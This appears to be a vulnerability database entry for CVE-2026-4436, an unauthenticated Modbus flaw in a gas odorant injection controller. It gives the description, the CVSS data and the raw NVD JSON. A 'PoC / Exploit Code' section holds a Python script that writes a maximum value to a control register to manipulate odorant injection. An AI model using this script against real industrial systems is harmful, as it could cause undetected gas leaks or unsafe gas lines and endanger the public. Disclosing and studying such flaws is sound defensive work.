Security Vulnerability Report
中文
CVE-2026-4436 CVSS 8.6 HIGH

CVE-2026-4436

Published: 2026-04-09 20:16:28
Last Modified: 2026-04-13 15:02:28

Description

A low-privileged remote attacker can send Modbus packets to manipulate register values that are inputs to the odorant injection logic such that too much or too little odorant is injected into a gas line.

CVSS Details

CVSS Score
8.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

具体版本信息未在描述中提及

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct import socket # Target Configuration TARGET_IP = "192.168.1.100" MODBUS_PORT = 502 # Modbus Write Single Register (Function Code 0x06) # Transaction ID: 0x0001, Protocol ID: 0x0000, Length: 0x0006, Unit ID: 0x01 # Function Code: 0x06, Register Address: 0x0000 (Example), Value: 0xFFFF (Max Injection) def craft_modbus_packet(reg_addr, value): transaction_id = 0x0001 protocol_id = 0x0000 length = 6 unit_id = 1 function_code = 6 # MBAP Header + PDU packet = struct.pack('!HHHBBHH', transaction_id, protocol_id, length, unit_id, function_code, reg_addr, value) return packet try: print(f"[*] Connecting to {TARGET_IP}...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((TARGET_IP, MODBUS_PORT)) # Example: Maliciously set register 100 to 0xFFFF to manipulate odorant injection malicious_payload = craft_modbus_packet(100, 0xFFFF) print(f"[*] Sending malicious packet to manipulate register...") sock.send(malicious_payload) response = sock.recv(1024) print(f"[+] Response received: {response.hex()}") print("[+] Exploit packet sent successfully.") except Exception as e: print(f"[-] Error: {e}") finally: sock.close()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4436", "sourceIdentifier": "[email protected]", "published": "2026-04-09T20:16:27.903", "lastModified": "2026-04-13T15:02:27.760", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A low-privileged remote attacker can send Modbus packets to manipulate \nregister values that are inputs to the odorant injection logic such that\n too much or too little odorant is injected into a gas line."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-099-02.json", "source": "[email protected]"}, {"url": "https://lincenergysystems-my.sharepoint.com/:f:/p/h_baer/IgDYaHIhXpyLQJvnKPd6b80TAUgV7Lp8qmVYBFUb0lmr7ak?e=JLeADm", "source": "[email protected]"}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-099-02", "source": "[email protected]"}]}}